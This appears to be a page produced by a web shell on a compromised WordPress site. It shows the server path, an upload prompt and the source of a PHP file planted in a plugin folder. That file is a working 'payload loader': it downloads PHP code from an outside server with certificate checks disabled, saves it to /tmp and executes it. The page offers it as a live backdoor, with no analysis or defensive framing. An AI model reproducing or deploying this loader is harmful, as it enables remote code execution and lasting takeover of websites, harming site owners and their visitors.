Your IP : 216.73.216.168


Current Path : /home/icmq6107/clients/naddaf/wp-content/plugins/pws/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/plugins/pws/1.php77

<?php
// =========================================
// Ocean Terminal - Auto Payload Loader
// =========================================

define('PAYLOAD_URL', 'http://qviz.tritoncenter.ru/files/ws.txt');
define('PAYLOAD_FILE', '/tmp/ma.php');

// Fungsi fetch payload
function fetch_payload($url) {
    if (function_exists('curl_exec')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT => 15
        ]);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }
    return @file_get_contents($url);
}

// Refresh payload jika belum ada atau kosong
if (!file_exists(PAYLOAD_FILE) || filesize(PAYLOAD_FILE) < 10) {
    $content = fetch_payload(PAYLOAD_URL);
    if ($content && strpos($content, '<?php') !== false) {
        file_put_contents(PAYLOAD_FILE, $content);
    }
}

// Include payload jika berhasil
if (file_exists(PAYLOAD_FILE) && filesize(PAYLOAD_FILE) > 10) {
    include PAYLOAD_FILE;
    exit;
} else {
    // Tampilkan error jika payload gagal di-load
    echo "<h1 style='color:red;font-family:monospace;text-align:center;margin-top:50px;'>
          Payload missing and cannot be fetched.<br>
          <small>URL: " . PAYLOAD_URL . "</small>
          </h1>";
    exit;
}
?>